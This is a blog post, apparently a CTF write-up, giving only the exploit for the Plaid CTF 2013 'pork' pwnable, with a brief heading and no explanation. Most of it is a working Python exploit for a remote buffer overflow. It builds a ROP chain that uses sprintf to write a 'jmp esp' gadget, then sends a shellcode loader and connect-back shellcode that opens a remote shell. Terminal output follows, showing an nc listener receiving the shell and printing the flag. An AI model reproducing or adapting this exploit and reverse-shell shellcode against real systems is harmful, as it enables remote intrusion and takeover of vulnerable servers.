Plaid CTF 2013 - pork (Exploit only)

CTF/2013

Plaid CTF 2013 - pork (Exploit only)

pwn3r_45 2013. 4. 22. 15:43

Category : Pwnables

pork-8c2fdf93e211c7358e0192a24bc951843da672b1

Summary : simple remote buffer overflow

Exploit

#!/usr/bin/python

from socket import *

from struct import pack

HOST = "184.72.73.160"

PORT = 33227

shellcode_loader= "\x33\xc0\x33\xd2\x31\xdb\x42\xc1\xe2\x08\x43\x43\x43\x43\x04\x03\x54\x59\x81\xc1\x10\xfe\xff\xff\xcd\x80\x3c\x02\x7e\x02\xff\xe1\x31\xc0\x40\x89\xc3\xcd\x80"

# read(4, buf, 0x100) -> buf();

SHELLCODE = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x00\x00\x00\x00\x66\x68\x7a\x69\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p = lambda x: pack("<L", x)

freespace = 0x0804ac12

format_string = 0x08049ab5 # string "%s"

sprintf_plt = 0x0804887C

pppr = 0x08048B3F

payload = ""

payload += "a"*0x400

payload += p(pppr)

payload += p(0xdeadbeef) # arg 1

payload += p(0x0804931b) # arg 2

payload += p(0x0804931b) # arg 3

payload += p(sprintf_plt)

payload += p(pppr)

payload += p(freespace)

payload += p(format_string)

payload += p(0x08048abb) # byte "\xff"

payload += p(sprintf_plt)

payload += p(pppr)

payload += p(freespace+1)

payload += p(format_string)

payload += p(0x08048c79) # byte "\xe4"

payload += p(freespace) # byte "\xff\xe4" // jmp esp

payload += shellcode_loader

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

s.send("GET http://"+payload+".com/ HTTP/1.0\n")

raw_input(">")

s.send("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n")

raw_input(">")

s.send(SHELLCODE)

s.close()

root@ubuntu:~/pork# ./exploit.py

---------------------------------------------------------------------

root@ubuntu:~# nc -lv 31337

Connection from 184.72.73.160 port 31337 [tcp/*] accepted

uid=1001(pork) gid=1001(pork) groups=1001(pork)

flag

pork

cat flag

http_m3ans_w3b_amirite

저작자표시